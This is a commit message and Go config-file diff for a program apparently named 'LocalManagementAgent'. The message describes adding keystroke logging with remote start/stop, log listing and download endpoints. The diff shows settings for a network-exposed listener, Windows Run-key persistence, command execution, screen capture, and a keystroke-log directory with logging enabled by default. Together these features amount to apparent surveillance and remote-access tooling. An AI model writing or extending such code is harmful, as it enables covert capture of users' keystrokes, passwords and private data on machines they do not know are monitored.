Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

lib/config/config.go

@@ -2,21 +2,26 @@ package config
 
 import (
 	"os"
+	"path/filepath"
+	"strconv"
 	"strings"
 )
 
 const (
-	Version          = "1.0.0"
-	DefaultAddr      = "0.0.0.0:5032"
-	MutexName        = "LocalManagementAgent_Mutex"
-	RequestBodyMax   = 1 << 20
-	MaxListEntries   = 10000
-	MaxImageQuality  = 100
-	DefaultExecTO    = 30
-	MaxExecTO        = 120
-	StartupValueName = "LocalManagementAgent"
-	StartupRunKey    = `Software\Microsoft\Windows\CurrentVersion\Run`
-	MaxInputText     = 4096
+	Version                    = "1.0.0"
+	DefaultAddr                = "0.0.0.0:5032"
+	MutexName                  = "LocalManagementAgent_Mutex"
+	RequestBodyMax             = 1 << 20
+	MaxListEntries             = 10000
+	MaxImageQuality            = 100
+	DefaultExecTO              = 30
+	MaxExecTO                  = 120
+	StartupValueName           = "LocalManagementAgent"
+	StartupRunKey              = `Software\Microsoft\Windows\CurrentVersion\Run`
+	MaxInputText               = 4096
+	AppDataDir                 = "LocalManagementAgent"
+	KeylogSubdir               = "keystrokes"
+	DefaultKeylogRetentionDays = 7
 )
 
 func EnvOr(name, fallback string) string {
@@ -25,3 +30,32 @@ func EnvOr(name, fallback string) string {
 	}
 	return fallback
 }
+
+func KeylogEnabled() bool {
+	switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
+	case "0", "false", "no", "off":
+		return false
+	default:
+		return true
+	}
+}
+
+func KeylogRetentionDays() int {
+	raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS"))
+	if raw == "" {
+		return DefaultKeylogRetentionDays
+	}
+	days, err := strconv.Atoi(raw)
+	if err != nil || days < 0 {
+		return DefaultKeylogRetentionDays
+	}
+	return days
+}
+
+func KeylogDir() (string, error) {
+	base, err := os.UserConfigDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(base, AppDataDir, KeylogSubdir), nil
+}